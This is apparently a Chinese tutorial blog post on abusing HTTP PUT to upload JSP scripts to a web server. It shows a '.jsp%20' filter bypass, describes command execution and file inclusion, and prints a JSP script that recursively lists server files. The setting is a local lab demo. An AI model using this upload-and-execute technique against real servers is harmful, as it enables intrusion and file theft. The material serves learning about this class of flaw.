PUT请求与JSP文件包含漏洞简介

tech2024-07-16  63

一、概述

1.PUT请求

PUT 方法用来传输文件。就像 FTP 协议的文件上传一样,要求在请求报文的主体中包含文件内容,然后保存到请求 URI 指定的位置。但是,鉴于 HTTP/1.1 的 PUT 方法自身不带验证机制,任何人都可以上传文件 , 存在安全性问题,因此一般的 Web 网站不使用该方法。(实验演示中,是手动打开了PUT请求方式。)

2.jsp概述

JSP(即:Java Server Pages),是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。标签通常以<%开头以%>结束。 JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP标签有多种功能,比如访问数据库、记录用户选择信息、访问JavaBeans组件等,还可以在不同的网页中传递控制信息和共享信息。

                                                                                                                         ——摘自《菜鸟教程》

二、原理

在开启PUT方式的网站上,我们可以通过PUT方式上传JSP脚本,通过访问该JSP以达到上传脚本,文件包含,查找文件,运行命令等目的。

但即使是开启PUT请求,上传JSP脚本也会被过滤掉,这里可以通过.jsp%20的方式,进行绕过。

三、代码编写及实现

PUT请求,可以通过软件“Postman”进行发送。

1.执行命令

我们可以通过编写.jsp脚本,通过PUT进行上传,再访问该.jsp脚本,该脚本就会被编译执行。

结果如下:

此时我们再访问该文件,就会收到电脑准备关机的提示了。

2.文件包含

这里我们就需要用到jsp中的“include”指令。

JSP可以通过include指令来包含其他文件。被包含的文件可以是JSP文件、HTML文件或文本文件。包含的文件就好像是该JSP文件的一部分,会被同时编译执行。

Include指令的语法格式如下:

<%@ include file="文件相对 url 地址" %>

如果我们知道目录的具体位置,如:我们知道http://127.0.0.1:8080/WebDemo_2_war_exploded/该目录下有个123.txt文件,我们需要读取该文件的内容,则可以通过“include”包含的方式取读取。

如下:

创建成功后,我们就可以通过访问123.jsp来查看123.txt中的内容了。如下:

如果在同级目录,则可以直接通过文件名进行访问,如果是不同目录,则需要以123.jsp为起点,通过相对路径进行包含。

3.文件遍历

实验2中是在知道文件位置的前提下进行文件包含操作的,如果并不知道具体文件,则可以通过文件遍历的方式进行查看。

代码如下:

<%@page import="java.util.ArrayList"%> <%@page import="java.io.File"%> <%@page import="java.io.FileInputStream"%> <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <%! private ArrayList list = new ArrayList(); public void open(File[] a){ try { for(int i=0;i<a.length;i++){ if(a[i].isFile()){ list.add(a[i]); }else{ File[] fl3=a[i].listFiles(); open(fl3); } } } catch (Exception e) { } } %> <% File fl = new File("d:\\html"); File[] fl2 =fl.listFiles(); open(fl2); for(Object i : list){ out.print(i); } %>

 

最新回复(0)